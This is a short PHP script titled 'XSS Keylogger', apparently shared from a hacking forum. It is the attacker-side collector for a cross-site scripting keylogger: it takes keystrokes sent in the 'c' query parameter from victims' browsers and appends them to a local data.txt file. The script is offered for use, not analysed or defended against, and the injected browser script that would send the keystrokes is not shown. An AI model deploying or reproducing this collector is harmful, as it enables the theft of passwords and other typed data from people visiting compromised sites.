XSS Keylogger php

<?php
/*
keylogger.php
http://www.hackforums.net/showthread.php?tid=2540448
tux1

Thanks to
http://wiremask.eu/
*/

if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>